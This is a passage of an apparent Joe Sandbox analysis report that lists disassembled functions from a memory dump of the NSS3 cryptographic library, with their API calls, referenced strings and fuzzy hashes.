Part of subcall function 6C7A07A0: TlsSetValue.KERNEL32(00000000,?,?,6C73204A), ref: 6C7A08CB
Part of subcall function 6C7A07A0: TlsGetValue.KERNEL32(?,?,6C73204A), ref: 6C7A08D7
Part of subcall function 6C7A07A0: TlsGetValue.KERNEL32(?,?,6C73204A), ref: 6C7A08FB

Strings

#?}l, xrefs: 6C7D2C43

Memory Dump Source

Source File: 00000000.00000002.1962182020.000000006C731000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C730000, based on PE: true

Associated: 00000000.00000002.1962163755.000000006C730000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962304971.000000006C8CF000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962342234.000000006C90E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962359116.000000006C90F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962376756.000000006C910000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962400260.000000006C915000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c730000_4c469e2cf403fea6249e835ddce23de2.jbxd

Similarity

API ID: Value$CriticalSection$EnterHashLookupTableUnlock$calloc$Leave
String ID: #?}l
API String ID: 2446853827-1650546601
Opcode ID: 6abc4e974da226308e8affd56e649ef40b3150c46ea15ecc4fa54171299399f1
Instruction ID: 7565af4887a1b9b0d6dfc091fc8266587f9efc7c42402f0ce84e63310b4c687a
Opcode Fuzzy Hash: 6abc4e974da226308e8affd56e649ef40b3150c46ea15ecc4fa54171299399f1
Instruction Fuzzy Hash: DD510176E00205AFEB009F24E9498AA7778AF15358F158534EC1897B11E731FD69C7E2

Function 6C88A4C0 Relevance: 22.9, APIs: 10, Strings: 3, Instructions: 145COMMON

Download Yara Rule

APIs

_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?,?,?,?,?,?,?,?,00000000,?,00000001), ref: 6C88A4E6
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?,?,?,?,?,?,?,?,?,00000000,?,00000001), ref: 6C88A4F9
_byteswap_ushort.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6C88A553
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?,?,?,?,?,?,?,?,?,?,?,?,00000000,?,00000001), ref: 6C88A5AC
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6C88A5F7
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6C88A60C
sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,000110E1,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4), ref: 6C88A633
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6C88A671
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,?,00000001), ref: 6C88A69A

Strings

%s at line %d of [%.10s], xrefs: 6C88A62C
database corruption, xrefs: 6C88A627
9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6C88A61D, 6C88A68B, 6C88A6B3

Memory Dump Source

Source File: 00000000.00000002.1962182020.000000006C731000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C730000, based on PE: true

Associated: 00000000.00000002.1962163755.000000006C730000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962304971.000000006C8CF000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962342234.000000006C90E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962359116.000000006C90F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962376756.000000006C910000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962400260.000000006C915000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c730000_4c469e2cf403fea6249e835ddce23de2.jbxd

Similarity

API ID: _byteswap_ulong$_byteswap_ushortsqlite3_log
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$database corruption
API String ID: 2358773949-598938438
Opcode ID: 69d3e7f7e2a3af03bd5ae59e6be0c6a6174619c512f814732f7a9d927ef484df
Instruction ID: bb4c943cd82c80c68b755c8484ee3b9c2e85476673844745d7e7b28369e2151b
Opcode Fuzzy Hash: 69d3e7f7e2a3af03bd5ae59e6be0c6a6174619c512f814732f7a9d927ef484df
Instruction Fuzzy Hash: 9751C6B1909301ABDB21CF25DA81A9A7BE1AB44318F044C39F84947BC5F731DD94CB93

Function 6C7B45B0 Relevance: 22.9, APIs: 12, Strings: 1, Instructions: 135memoryCOMMON

Download Yara Rule

APIs

PL_InitArenaPool.NSS3(?,security,00000800,00000008,?,?,?,?,?,?,?,?,00000000,?,6C7B1984,?), ref: 6C7B45F2
SECOID_FindOIDByTag_Util.NSS3(?), ref: 6C7B45FB

Part of subcall function 6C810840: PR_SetError.NSS3(FFFFE08F,00000000), ref: 6C8108B4

SECITEM_CompareItem_Util.NSS3(00000000,-00000001), ref: 6C7B461E

Part of subcall function 6C80FCB0: memcmp.VCRUNTIME140(?,8B0B74C0,04C6831E,?,00000000,?,6C7B4101,00000000,?,?,?,6C7B1666,?,?), ref: 6C80FCF2

SECITEM_CopyItem_Util.NSS3(00000000,?,-00000019), ref: 6C7B4646
SEC_QuickDERDecodeItem_Util.NSS3(?,?,?,?), ref: 6C7B4662
PR_SetError.NSS3(FFFFE023,00000000), ref: 6C7B467A
PR_CallOnce.NSS3(6C912AA4,6C8112D0), ref: 6C7B4691
PL_FreeArenaPool.NSS3 ref: 6C7B46A3
PL_FinishArenaPool.NSS3 ref: 6C7B46AB
free.MOZGLUE(?), ref: 6C7B46BC
PORT_ZAlloc_Util.NSS3(?), ref: 6C7B46E5
memcpy.VCRUNTIME140(00000000,?,?), ref: 6C7B4717

Strings

security, xrefs: 6C7B45EC

Memory Dump Source

Source File: 00000000.00000002.1962182020.000000006C731000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C730000, based on PE: true

Associated: 00000000.00000002.1962163755.000000006C730000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962304971.000000006C8CF000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962342234.000000006C90E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962359116.000000006C90F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962376756.000000006C910000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962400260.000000006C915000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c730000_4c469e2cf403fea6249e835ddce23de2.jbxd

Similarity

API ID: Util$ArenaItem_Pool$Error$Alloc_CallCompareCopyDecodeFindFinishFreeInitOnceQuickTag_freememcmpmemcpy
String ID: security
API String ID: 3482804875-3315324353
Opcode ID: 20028e4c22ebcc1e0b4cc7039d7232a61f7ffb1b62f423f1436ec2d37fad0a3f
Instruction ID: 5da04489f881fb736ab3b11efaf430cc689c07943c492baf31d0090707586bfa
Opcode Fuzzy Hash: 20028e4c22ebcc1e0b4cc7039d7232a61f7ffb1b62f423f1436ec2d37fad0a3f
Instruction Fuzzy Hash: 124126B2A08311ABE7208F299E45B5B77E8EF4925CF140A39EC59B3B41E730E514C6D6

Function 6C82AD90 Relevance: 22.9, APIs: 12, Strings: 1, Instructions: 127COMMON

Download Yara Rule

APIs

SECOID_GetAlgorithmTag_Util.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C82ADB1

Part of subcall function 6C80BE30: SECOID_FindOID_Util.NSS3(6C7C311B,00000000,?,6C7C311B,?), ref: 6C80BE44

PL_InitArenaPool.NSS3(?,security,00000800,00000008), ref: 6C82ADF4
SEC_QuickDERDecodeItem_Util.NSS3(?,?,?,?), ref: 6C82AE08

Part of subcall function 6C80B030: PR_SetError.NSS3(FFFFE005,00000000,?,?,6C8E18D0,?), ref: 6C80B095

SECOID_GetAlgorithmTag_Util.NSS3(?), ref: 6C82AE25
PL_FreeArenaPool.NSS3 ref: 6C82AE63
PR_CallOnce.NSS3(6C912AA4,6C8112D0), ref: 6C82AE4D

Part of subcall function 6C734C70: TlsGetValue.KERNEL32(?,?,?,6C733921,6C9114E4,6C87CC70), ref: 6C734C97
Part of subcall function 6C734C70: EnterCriticalSection.KERNEL32(?,?,?,?,6C733921,6C9114E4,6C87CC70), ref: 6C734CB0
Part of subcall function 6C734C70: PR_Unlock.NSS3(?,?,?,?,?,6C733921,6C9114E4,6C87CC70), ref: 6C734CC9

SECKEY_DestroyPublicKey.NSS3(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C82AE93
PR_CallOnce.NSS3(6C912AA4,6C8112D0), ref: 6C82AECC
PL_FreeArenaPool.NSS3 ref: 6C82AEDE
PL_FinishArenaPool.NSS3 ref: 6C82AEE6
PR_SetError.NSS3(FFFFD004,00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C82AEF5
PL_FinishArenaPool.NSS3 ref: 6C82AF16

Strings

security, xrefs: 6C82ADEE

Memory Dump Source

Source File: 00000000.00000002.1962182020.000000006C731000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C730000, based on PE: true

Associated: 00000000.00000002.1962163755.000000006C730000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962304971.000000006C8CF000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962342234.000000006C90E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962359116.000000006C90F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962376756.000000006C910000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962400260.000000006C915000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c730000_4c469e2cf403fea6249e835ddce23de2.jbxd

Similarity

API ID: ArenaPool$Util$AlgorithmCallErrorFinishFreeOnceTag_$CriticalDecodeDestroyEnterFindInitItem_PublicQuickSectionUnlockValue
String ID: security
API String ID: 3441714441-3315324353
Opcode ID: b5a87d31b5215248e35230166bf175ee71bd5b0affc8dad76dc2c634576f4513
Instruction ID: 34dba951d1d31c98b4685c3bfff47111251a03b8bc58db4254b546b6d8c7b57b
Opcode Fuzzy Hash: b5a87d31b5215248e35230166bf175ee71bd5b0affc8dad76dc2c634576f4513
Instruction Fuzzy Hash: EF4116B590821467EB305A189E4DBFB72A8AF4271CF500D35E85492F41FB3D9589CAE3

Function 6C7E6650 Relevance: 22.9, APIs: 8, Strings: 5, Instructions: 117COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(C_DecryptInit), ref: 6C7E6676
PL_strncpyz.NSS3(?, hSession = 0x%x,00000050), ref: 6C7E66A4
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6C7E66B3

Part of subcall function 6C8CD930: PL_strncpyz.NSS3(?,?,?), ref: 6C8CD963

PR_LogPrint.NSS3(?,00000000), ref: 6C7E66C9
PR_LogPrint.NSS3( pMechanism = 0x%p,?), ref: 6C7E66E8
PL_strncpyz.NSS3(?, hKey = 0x%x,00000050), ref: 6C7E6716
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6C7E6728
PR_LogPrint.NSS3(?,00000000), ref: 6C7E673E

Strings

(CK_INVALID_HANDLE), xrefs: 6C7E66AC, 6C7E671E
hKey = 0x%x, xrefs: 6C7E6700, 6C7E6710
pMechanism = 0x%p, xrefs: 6C7E66E3
hSession = 0x%x, xrefs: 6C7E668E, 6C7E669E
C_DecryptInit, xrefs: 6C7E6671

Memory Dump Source

Source File: 00000000.00000002.1962182020.000000006C731000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C730000, based on PE: true

Associated: 00000000.00000002.1962163755.000000006C730000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962304971.000000006C8CF000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962342234.000000006C90E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962359116.000000006C90F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962376756.000000006C910000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962400260.000000006C915000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c730000_4c469e2cf403fea6249e835ddce23de2.jbxd

Similarity

API ID: Print$L_strncpyz$L_strcatn
String ID: hKey = 0x%x$ hSession = 0x%x$ pMechanism = 0x%p$ (CK_INVALID_HANDLE)$C_DecryptInit
API String ID: 1003633598-277163776
Opcode ID: e31fe9487eac5a0f7bc43a0293b7c811273b4c37fa0713648c3f3c9dc1dc3527
Instruction ID: 333954c8fac421e6b6d79b94abdb06880335d7b9906cf595720d48adfa5f8274
Opcode Fuzzy Hash: e31fe9487eac5a0f7bc43a0293b7c811273b4c37fa0713648c3f3c9dc1dc3527
Instruction Fuzzy Hash: A141E976705118EBDB10EF159F8EF6A37B5EB4A31CF054478E50997B02DB30AA18C792

Function 6C81E8C0 Relevance: 22.9, APIs: 15, Instructions: 353memoryCOMMON

Download Yara Rule

APIs

PORT_ZAlloc_Util.NSS3(0000001C,?,6C81E853,?,FFFFFFFF,?,?,6C81B0CC,?,6C81B4A0,?,00000000), ref: 6C81E8D9

Part of subcall function 6C810D30: calloc.MOZGLUE ref: 6C810D50
Part of subcall function 6C810D30: TlsGetValue.KERNEL32 ref: 6C810D6D

Part of subcall function 6C81C6B0: SECOID_FindOID_Util.NSS3(00000000,00000004,?,6C81DAE2,?), ref: 6C81C6C2

PORT_ArenaMark_Util.NSS3(?), ref: 6C81E972
PORT_ArenaMark_Util.NSS3(?), ref: 6C81E9C2
SECOID_GetAlgorithmTag_Util.NSS3(?), ref: 6C81EA00
PORT_ArenaAlloc_Util.NSS3(?,-00000007), ref: 6C81EA3F
SECOID_FindOIDByTag_Util.NSS3(00000010), ref: 6C81EA5A
SECKEY_DestroyPublicKey.NSS3(00000000), ref: 6C81EA81
SECOID_SetAlgorithmID_Util.NSS3(?,?,00000010,00000000), ref: 6C81EA9E
SECOID_FindOIDByTag_Util.NSS3(?), ref: 6C81EACF
PK11_KeyGen.NSS3(00000000,-00000001,00000000,?,00000000), ref: 6C81EB56
PK11_FreeSymKey.NSS3(00000000), ref: 6C81EBC2
SECOID_FindOID_Util.NSS3(?), ref: 6C81EBEC
free.MOZGLUE(00000000), ref: 6C81EC58

Memory Dump Source

Source File: 00000000.00000002.1962182020.000000006C731000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C730000, based on PE: true

Associated: 00000000.00000002.1962163755.000000006C730000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962304971.000000006C8CF000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962342234.000000006C90E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962359116.000000006C90F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962376756.000000006C910000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962400260.000000006C915000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c730000_4c469e2cf403fea6249e835ddce23de2.jbxd

Similarity

API ID: Util$Find$ArenaTag_$AlgorithmAlloc_K11_Mark_$DestroyFreePublicValuecallocfree
String ID:
API String ID: 759478663-0
Opcode ID: e9ec342f88e61cd2e13df972a13f49691f1eaaad75a5bb2bebfe69ef6008c729
Instruction ID: 201629417d6ca8b4dac6be4726c36b5e12cf6cd6e3308099ce6d90d890a99de4
Opcode Fuzzy Hash: e9ec342f88e61cd2e13df972a13f49691f1eaaad75a5bb2bebfe69ef6008c729
Instruction Fuzzy Hash: 07C175B1E042069BEB20CF59DE89BAA77F4AF14308F150879D906A7F51E731E944CBD1

Function 6C7E6500 Relevance: 22.9, APIs: 7, Strings: 6, Instructions: 101COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(C_EncryptFinal), ref: 6C7E6526
PL_strncpyz.NSS3(?, hSession = 0x%x,00000050), ref: 6C7E6554
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6C7E6563

Part of subcall function 6C8CD930: PL_strncpyz.NSS3(?,?,?), ref: 6C8CD963

PR_LogPrint.NSS3(?,00000000), ref: 6C7E6579
PR_LogPrint.NSS3( pLastEncryptedPart = 0x%p,?), ref: 6C7E6595
PR_LogPrint.NSS3( pulLastEncryptedPartLen = 0x%p,?), ref: 6C7E65B0
PR_LogPrint.NSS3( *pulLastEncryptedPartLen = 0x%x,?), ref: 6C7E661A

Strings

C_EncryptFinal, xrefs: 6C7E6521
pLastEncryptedPart = 0x%p, xrefs: 6C7E6590
pulLastEncryptedPartLen = 0x%p, xrefs: 6C7E65AB
(CK_INVALID_HANDLE), xrefs: 6C7E655C
hSession = 0x%x, xrefs: 6C7E653E, 6C7E654E
*pulLastEncryptedPartLen = 0x%x, xrefs: 6C7E6615

Memory Dump Source

Source File: 00000000.00000002.1962182020.000000006C731000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C730000, based on PE: true

Associated: 00000000.00000002.1962163755.000000006C730000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962304971.000000006C8CF000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962342234.000000006C90E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962359116.000000006C90F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962376756.000000006C910000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962400260.000000006C915000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c730000_4c469e2cf403fea6249e835ddce23de2.jbxd

Similarity

API ID: Print$L_strncpyz$L_strcatn
String ID: *pulLastEncryptedPartLen = 0x%x$ hSession = 0x%x$ pLastEncryptedPart = 0x%p$ pulLastEncryptedPartLen = 0x%p$ (CK_INVALID_HANDLE)$C_EncryptFinal
API String ID: 1003633598-2178457252
Opcode ID: d521da5c6afaecbf784175b05539c81b65eeff8ee39ebe092dfa8899f1e09d38
Instruction ID: 9f19031612585de88ec1f281a62bb79a92a84f498e66e7516b95616301363e1f
Opcode Fuzzy Hash: d521da5c6afaecbf784175b05539c81b65eeff8ee39ebe092dfa8899f1e09d38
Instruction Fuzzy Hash: 1331E132705248DFDB10EF589F4EB5A37B5EB4B218F144838E50997A12DB319A08CB92

Function 6C8CAF70 Relevance: 22.7, APIs: 15, Instructions: 221threadCOMMON

Download Yara Rule

APIs

Part of subcall function 6C879890: TlsGetValue.KERNEL32(?,?,?,6C8797EB), ref: 6C87989E

EnterCriticalSection.KERNEL32(?), ref: 6C8CAF88
_PR_MD_NOTIFYALL_CV.NSS3(?), ref: 6C8CAFCE
PR_SetPollableEvent.NSS3(?), ref: 6C8CAFD9
EnterCriticalSection.KERNEL32(?), ref: 6C8CAFEF
_PR_MD_NOTIFY_CV.NSS3(?), ref: 6C8CB00F
_PR_MD_UNLOCK.NSS3(?), ref: 6C8CB02F
_PR_MD_UNLOCK.NSS3(?), ref: 6C8CB070
PR_JoinThread.NSS3(?), ref: 6C8CB07B
free.MOZGLUE(?), ref: 6C8CB084
EnterCriticalSection.KERNEL32(?), ref: 6C8CB09B
_PR_MD_UNLOCK.NSS3(?), ref: 6C8CB0C4
PR_JoinThread.NSS3(?), ref: 6C8CB0F3
free.MOZGLUE(?), ref: 6C8CB0FC
PR_JoinThread.NSS3(?), ref: 6C8CB137
free.MOZGLUE(?), ref: 6C8CB140

Memory Dump Source

Source File: 00000000.00000002.1962182020.000000006C731000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C730000, based on PE: true

Associated: 00000000.00000002.1962163755.000000006C730000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962304971.000000006C8CF000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962342234.000000006C90E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962359116.000000006C90F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962376756.000000006C910000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962400260.000000006C915000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c730000_4c469e2cf403fea6249e835ddce23de2.jbxd

Similarity

API ID: CriticalEnterJoinSectionThreadfree$EventPollableValue
String ID:
API String ID: 235599594-0
Opcode ID: 27688457a751542042071f593bc274a984754220df2a5e0e524dc87303586ce9
Instruction ID: 2cc9f7a64b06534a94d7efda5797797e4653dd76621cb75abb0e7ccc154b93d2
Opcode Fuzzy Hash: 27688457a751542042071f593bc274a984754220df2a5e0e524dc87303586ce9
Instruction Fuzzy Hash: 689170B5A00611DFCB20DF18C98485ABBF1FF55318729896DD8195BB21E732FC45CB92

Function 6C7C8DE0 Relevance: 22.7, APIs: 15, Instructions: 173memoryCOMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(?,?), ref: 6C7C8E22
EnterCriticalSection.KERNEL32(?), ref: 6C7C8E36
memset.VCRUNTIME140(?,00000000,?), ref: 6C7C8E4F
calloc.MOZGLUE(00000001,?,?,?), ref: 6C7C8E78
memcpy.VCRUNTIME140(-00000008,?,?), ref: 6C7C8E9B
memset.VCRUNTIME140(00000000,00000000,?), ref: 6C7C8EAC
PL_ArenaAllocate.NSS3(?,?), ref: 6C7C8EDE
memcpy.VCRUNTIME140(-00000008,?,?), ref: 6C7C8EF0
memset.VCRUNTIME140(?,00000000,?), ref: 6C7C8F00
free.MOZGLUE(?), ref: 6C7C8F0E
memcpy.VCRUNTIME140(?,?,?), ref: 6C7C8F39
memset.VCRUNTIME140(?,00000000,?), ref: 6C7C8F4A
memset.VCRUNTIME140(?,00000000,?), ref: 6C7C8F5B
PR_Unlock.NSS3(?), ref: 6C7C8F72
PR_Unlock.NSS3(?), ref: 6C7C8F82

Memory Dump Source

Source File: 00000000.00000002.1962182020.000000006C731000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C730000, based on PE: true

Associated: 00000000.00000002.1962163755.000000006C730000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962304971.000000006C8CF000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962342234.000000006C90E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962359116.000000006C90F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962376756.000000006C910000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962400260.000000006C915000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c730000_4c469e2cf403fea6249e835ddce23de2.jbxd

Similarity

API ID: memset$memcpy$Unlock$AllocateArenaCriticalEnterSectionValuecallocfree
String ID:
API String ID: 1569127702-0
Opcode ID: 064d18d13aa5cb68649f083f8ab9ca0cd4d19b5dd1eb34bb1433af85393d484c
Instruction ID: 3b60871cf2a7814490622f9f0cdbb071371a50a6233cd32a07913be2508a421f
Opcode Fuzzy Hash: 064d18d13aa5cb68649f083f8ab9ca0cd4d19b5dd1eb34bb1433af85393d484c
Instruction Fuzzy Hash: 4951E6B2F002169FE7109F68CE8596AB7B9EF45358F15453AEC089B700E731ED4587E2

Function 6C8C0FF0 Relevance: 22.6, APIs: 15, Instructions: 92COMMON

Download Yara Rule

APIs

PR_Lock.NSS3(?), ref: 6C8C1000

Part of subcall function 6C879BA0: TlsGetValue.KERNEL32(00000000,00000000,?,6C7A1A48), ref: 6C879BB3
Part of subcall function 6C879BA0: EnterCriticalSection.KERNEL32(?,?,?,?,6C7A1A48), ref: 6C879BC8

PR_SetError.NSS3(FFFFE8D5,00000000), ref: 6C8C1016

Part of subcall function 6C85C2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6C85C2BF

PR_Unlock.NSS3(?), ref: 6C8C1021

Part of subcall function 6C85DD70: TlsGetValue.KERNEL32 ref: 6C85DD8C
Part of subcall function 6C85DD70: LeaveCriticalSection.KERNEL32(00000000), ref: 6C85DDB4

PR_SetError.NSS3(FFFFE89D,00000000), ref: 6C8C1046
PR_Unlock.NSS3(?), ref: 6C8C106B
PR_Lock.NSS3 ref: 6C8C1079
PR_Unlock.NSS3 ref: 6C8C1096
free.MOZGLUE(?), ref: 6C8C10A7
free.MOZGLUE(?), ref: 6C8C10B4
PR_DestroyCondVar.NSS3(?), ref: 6C8C10BF
PR_DestroyCondVar.NSS3(?), ref: 6C8C10CA
PR_DestroyCondVar.NSS3(?), ref: 6C8C10D5
PR_DestroyCondVar.NSS3(?), ref: 6C8C10E0
PR_DestroyLock.NSS3(?), ref: 6C8C10EB
free.MOZGLUE(?), ref: 6C8C1105

Memory Dump Source

Source File: 00000000.00000002.1962182020.000000006C731000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C730000, based on PE: true

Associated: 00000000.00000002.1962163755.000000006C730000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962304971.000000006C8CF000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962342234.000000006C90E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962359116.000000006C90F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962376756.000000006C910000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962400260.000000006C915000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c730000_4c469e2cf403fea6249e835ddce23de2.jbxd

Similarity

API ID: Destroy$Cond$LockUnlockValuefree$CriticalErrorSection$EnterLeave
String ID:
API String ID: 8544004-0
Opcode ID: a1977269905cf0e32bef27673edf1efb5f21059b30768d24f6141539e4e789e7
Instruction ID: 59990288074fbe9557b83d28fc2f859ae0b84385beadb9a0ab5572359ee0831c
Opcode Fuzzy Hash: a1977269905cf0e32bef27673edf1efb5f21059b30768d24f6141539e4e789e7
Instruction Fuzzy Hash: DC318DB5A00401BBDB229F14EE86A45B771FF01359B584635E80902F61E772F978EBD3

Function 6C8025F0 Relevance: 21.4, APIs: 8, Strings: 6, Instructions: 403stringCOMMON

Download Yara Rule

APIs

Part of subcall function 6C80A0A0: strcmp.API-MS-WIN-CRT-STRING-L1-1-0(6C7DA5DF,?,00000000,6C7B28AD,00000000,?,6C7DA5DF,?,object), ref: 6C80A0C0
Part of subcall function 6C80A0A0: strcmp.API-MS-WIN-CRT-STRING-L1-1-0(6C7DA5DF,?,00000000,6C7B28AD,00000000,?,6C7DA5DF,?,object), ref: 6C80A0E8

strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6C802834
memcmp.VCRUNTIME140(00000000,00000020,00000020,?,?,?,?,?,?,?,?), ref: 6C80284B
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6C802A98
memcmp.VCRUNTIME140(00000000,?,00000020,?,?,?,?,?,?,?,?,?,?), ref: 6C802AAF
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6C802BDC
memcmp.VCRUNTIME140(00000000,?,00000010,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C802BF3
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6C802D23
memcmp.VCRUNTIME140(00000000,?,00000010,?,?,?,?,?,?,?,?,?), ref: 6C802D34

Strings

serial, xrefs: 6C802AC2
OQ}l, xrefs: 6C8025F7, 6C8025FF, 6C802863, 6C802AC7, 6C802C0B
manufacturer, xrefs: 6C80285E
, xrefs: 6C802A8E, 6C802AAB
token, xrefs: 6C8025FA
model, xrefs: 6C802C06

Memory Dump Source

Source File: 00000000.00000002.1962182020.000000006C731000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C730000, based on PE: true

Associated: 00000000.00000002.1962163755.000000006C730000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962304971.000000006C8CF000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962342234.000000006C90E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962359116.000000006C90F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962376756.000000006C910000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962400260.000000006C915000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

